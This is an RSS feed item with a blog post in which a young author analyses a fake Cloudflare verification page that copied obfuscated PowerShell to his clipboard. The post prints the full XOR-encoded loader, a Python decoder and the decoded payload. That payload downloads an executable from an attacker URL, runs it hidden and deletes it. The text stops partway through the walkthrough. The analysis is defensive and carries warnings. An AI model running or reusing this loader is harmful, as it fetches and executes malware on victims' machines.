<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Michael Parker</title>
    <description>The latest articles on DEV Community by Michael Parker (@the_tea_drinker).</description>
    <link>https://dev.to/the_tea_drinker</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F2624737%2Fa5815cae-583f-4905-9d4d-b4cc34792d27.jpeg</url>
      <title>DEV Community: Michael Parker</title>
      <link>https://dev.to/the_tea_drinker</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/the_tea_drinker"/>
    <language>en</language>
    <item>
      <title>Tried to buy a pint, Finding a Trojan: My First Malware Analysis</title>
      <dc:creator>Michael Parker</dc:creator>
      <pubDate>Sat, 11 Apr 2026 07:05:52 +0000</pubDate>
      <link>https://dev.to/the_tea_drinker/tried-to-buy-a-pint-finding-a-trojan-my-first-malware-analysis-5g56</link>
      <guid>https://dev.to/the_tea_drinker/tried-to-buy-a-pint-finding-a-trojan-my-first-malware-analysis-5g56</guid>
      <description>&lt;p&gt;This story all started with me and some mates wanting to get a drink in one of those cool, trendy hipster places you see online (I promise I'm only 20, apparently that sentence makes me sound old). The site loads for a brief moment and then redirects you to a Cloudflare looking page. You press verify and bam. you get a pop up. This pop up:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Futqffn29tx1kkokgznzd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Futqffn29tx1kkokgznzd.png" alt="THE POPUP OF DOOM" width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Then it auto copied something to my clipboard. Now to a no technical folk, I can see them falling for this. I cannot lie for a split second I was wondering if it was real. Me being a Tux follower (Linux user), the script wouldn't have run even if I wanted it to.&lt;/p&gt;

&lt;p&gt;I moved on trying to continuing to plan my holiday but wondering how this worked kept scratching at my head. So lets take a look at this script.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Now I want to stress this point. DO NOT RUN THIS SCRIPT&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The Obfuscated PowerShell
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;# I am not a robot - Cloudflare ID: d9141de62779862f #&amp;gt;  $k='oFoCAK';
$d='4b281531222f0c7b481812321c320a2e6f050a3241102439192f0c26112406281b0e20250e210a311c715515
0a2034390632161333241b290c2c2d7634151630352e0268212635653c230c3633221b3f3f312e3f0025002f1532
1f2332797b1f03355e717a6f1b7b252c282542160e37296b4b2301357b1f2a0b3f6369103c3f1c372426410f206d
112a1b2e32797b0c0a323d222f2f002b292a2d2e212702266962467d2126366626320a2e616626320a2e15321f23
4f0728390a251b2c33324f6b3f2235234f621b636c0d00340c263d041a32420d3427037d4b257c01002f016e112a
1b2e4f67356b471d3c3a323f0a2b410a0e653f271b2b1c7155010a37132a0122002e0722032321222c2e476f4464
66650a3e0a646662546200287c7b54200031696f067b5f7865224f6b033761784f6b0e2d256b42280037616f002d
54672860446f14373332140f01352e200a6b382623190a371a26323f4f6b3a31286b48610737353b1c7c406c2322
0824003a322803330d6d2232003340223122402f01272433413607337e2a5222036535240423017e27280b225a21
767259200d2574280d735972752f0e710e22207f58715c25237f5f72587470285b7e5d72247f0d7e0b7071785f73
0a27792f09735722737a577e4930332852240e2f2d220a240e2f2d2e1d35002d6f28002b492e2e2f0a7b0c2f2e3e
0b200322332e48614f6e0e3e1b00062f246b4b204f6e14380a040e3028283f271d302825087d0625691f0a351b6e
112a1b2e4f672762146200287c7a1223033024303c320e3135663c2a0a26316b42150a202e250b354f713c360c27
1b2029303c320e3135663c2a0a26316b42150a202e250b354f713c36542f096b6c2500324f6b152e1c324213203f
07664b2568621423172a353654151b22333f42161d2c222e1c354f6e072203233f2235234f6209636c1c06280b2c
36181b3f0326610306220b262f701b341638132e022919266c021b2302636c0706320a3120273f271b2b616f0966
42052e390c234f6e04391d291d02223f062901631222032301372d322c29013728251a231220203f0c2e143e7a6c
54151b22333f42161d2c222e1c354f6e162201220034123f162a0a6309220b220a2d613b00310a3132230a2a0363
6c0a1d211a2e24251b0a0630356b486b212c11390020062f246c4361421428250b29181035320323486f66030622
0b262f6c436142002e260227012766674b281531222f0c7d0a3b283f';$r='';for($p=0;$p -lt $d.Length;
$p+=2){$r+=[char](([convert]::ToInt32($d.Substring($p,2),16))-bxor[int][char]$k[$p/2%
$k.Length])};&amp;amp;([ScriptBlock]::Create($r))

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Breaking Down the Decryption Loop
&lt;/h2&gt;

&lt;p&gt;Working through the end of the script there is this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$r&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="kr"&gt;for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$p&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nv"&gt;$p&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-lt&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$d&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nv"&gt;$p&lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;&lt;span class="nv"&gt;$r&lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;char&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;(([&lt;/span&gt;&lt;span class="n"&gt;convert&lt;/span&gt;&lt;span class="p"&gt;]::&lt;/span&gt;&lt;span class="n"&gt;ToInt32&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$d&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Substring&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;2&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="nx"&gt;16&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="o"&gt;-bxor&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;int&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="n"&gt;char&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="nv"&gt;$k&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;$p&lt;/span&gt;&lt;span class="n"&gt;/2&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$k&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Length&lt;/span&gt;&lt;span class="p"&gt;])};&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;ScriptBlock&lt;/span&gt;&lt;span class="p"&gt;]::&lt;/span&gt;&lt;span class="n"&gt;Create&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$r&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The code section is a loop that starts at &lt;code&gt;$p = 0&lt;/code&gt; and increments by 2 (&lt;code&gt;$p += 2&lt;/code&gt;). It then takes these two characters as its own little string, as we can see here: &lt;code&gt;$d.Substring($p, 2)&lt;/code&gt;. Next we take these hex pairs and convert them to integers. We have the key &lt;code&gt;oFoCAK&lt;/code&gt;, which is 6 letters long. Earlier, we extracted the text into two letter chunks. So we have to find the right section of the key. This can be done by dividing the index along the string by 2 and then applying the modulo of the length of the key to this index, giving us the letter from the key we want to use. If we were to do it in Python it would look like this: &lt;code&gt;k_char = k[(i // 2) % len(k)]&lt;/code&gt;. We can see &lt;code&gt;-bxor&lt;/code&gt;, meaning we then apply some maths, more accurately, we XOR the ciphertext with the key letter. (David, if you're reading this, I hope you're proud I remembered something from my cryptography class.) The final step: we turn it back into a string.&lt;/p&gt;

&lt;p&gt;Now I was not willing to do this all by hand, so I wrote this Python script.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;k&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;oFoCAK&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
&lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;THE HEX CODE&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
&lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;hex_pair&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;int_val&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hex_pair&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;k_char&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;//&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;
    &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="nf"&gt;chr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;int_val&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="nf"&gt;ord&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;k_char&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  The Decoded Payload
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;NOW I WANT TO STRESS THIS AGAIN. DO NOT. I SAY DO NOT. COPY THIS INTO YOUR TERMINAL&lt;/strong&gt; (I have also reported this to the bar, Cloudflare, and the domain registrar.)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$nzrcdc&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'[System.Net.ServicePointManager]::SecurityProtocol=[System.Net.SecurityProtocolType]::Tls12;$t=Join-Path $env:TEMP ([System.IO.Path]::GetRandomFileName());New-Item -ItemType Directory -Path $t -Force|Out-Null;$f=Join-Path $t ([System.IO.Path]::GetRandomFileName()+''.exe'');$ok=0;for($i=0;$i -lt 3 -and -not $ok;$i++){try{Invoke-WebRequest -Uri ''https://bigboysclub.cyou/api/index.php?a=dl&amp;amp;token=fcdd5b796fbf5cb5614da7aaa4773fb404771c4821e4b8d30305ed8df58a2188&amp;amp;src=ballieballerson.com&amp;amp;mode=cloudflare'' -OutFile $f -UseBasicParsing;if(Test-Path $f){$ok=1}else{Start-Sleep -Seconds 2}}catch{Start-Sleep -Seconds 2}};if(-not (Test-Path $f)){exit};Start-Process -FilePath $f -WindowStyle Hidden;try{Remove-Item -LiteralPath $f -Force -ErrorAction SilentlyContinue}catch{};'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="n"&gt;Start-Process&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-WindowStyle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Hidden&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;powershell&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-ArgumentList&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'-NoProfile'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;'-WindowStyle'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;'Hidden'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;'-Command'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nv"&gt;$nzrcdc&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="kr"&gt;exit&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now this is quite a lot to take in, so let's restructure it to be easier to read:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="kr"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-not&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Test-Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$f&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="kr"&gt;exit&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="n"&gt;Start-Process&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-FilePath&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$f&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-WindowStyle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Hidden&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="kr"&gt;try&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;Remove-Item&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-LiteralPath&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$f&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Force&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-ErrorAction&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;SilentlyContinue&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="kr"&gt;catch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="s1"&gt;';

Start-Process `
    -WindowStyle Hidden `
    powershell `
    -ArgumentList '&lt;/span&gt;&lt;span class="nt"&gt;-NoProfile&lt;/span&gt;&lt;span class="s1"&gt;', '&lt;/span&gt;&lt;span class="nt"&gt;-WindowStyle&lt;/span&gt;&lt;span class="s1"&gt;', '&lt;/span&gt;&lt;span class="kr"&gt;Hidden&lt;/span&gt;&lt;span class="s1"&gt;', '&lt;/span&gt;&lt;span class="nt"&gt;-Command&lt;/span&gt;&lt;span class="s1"&gt;', $nzrcdc;

exit

&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;So what does this actually do? We start off by forcing modern TLS, this is just to help ensure the connection does not fail. The power of how windows works its probably not need but ironically the hacker is just being safe.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Join-Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$&lt;/span&gt;&lt;span class="nn"&gt;env&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;TEMP&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;System.IO.Path&lt;/span&gt;&lt;span class="p"&gt;]::&lt;/span&gt;&lt;span class="n"&gt;GetRandomFileName&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;New-Item&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-ItemType&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Directory&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Force&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Out-Null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This creates a random file location to install the executable to. It will be in the format &lt;code&gt;C:\Users\&amp;lt;user&amp;gt;\AppData\Local\Temp\&amp;lt;random&amp;gt;&lt;/code&gt;, so an example would be:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;C:\Users\TEAMAN\AppData\Local\Temp\213ig4u&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Once we have the random path we need to create a random file name:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$f&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Join-Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;System.IO.Path&lt;/span&gt;&lt;span class="p"&gt;]::&lt;/span&gt;&lt;span class="n"&gt;GetRandomFileName&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;".exe"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So we could end up with:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;C:\Users\TEAMAN\AppData\Local\Temp\213ig4uz\i8o76aew.exe&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This is just to create yet another level of obfuscation. Now these levels of obfuscation is more to stop the OS detecting the Malware instead of the user, by placing it in Temp with a random name and file it should try hide from standard Indicators of Compromise. Legacy antivirus have a history of checking set file paths normally ignoring temp, HOWEVER if you using a anti virus that does this just burn your PC now.&lt;/p&gt;

&lt;p&gt;The next step is to download the payload that this attacker has tried so hard to hide:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ok&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="kr"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-lt&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-and&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-not&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$ok&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="kr"&gt;try&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="n"&gt;Invoke-WebRequest&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;`
&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nt"&gt;-Uri&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://bigboysclub.cyou/api/index.php?a=dl&amp;amp;token=fcdd5b796fbf5cb5614da7aaa4773fb404771c4821e4b8d30305ed8df58a2188&amp;amp;src=ballieballerson.com&amp;amp;mode=cloudflare"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;`
&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nt"&gt;-OutFile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$f&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;`
&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nt"&gt;-UseBasicParsing&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;

        &lt;/span&gt;&lt;span class="kr"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Test-Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$f&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="nv"&gt;$ok&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="kr"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="n"&gt;Start-Sleep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Seconds&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;2&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="kr"&gt;catch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="n"&gt;Start-Sleep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Seconds&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;2&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



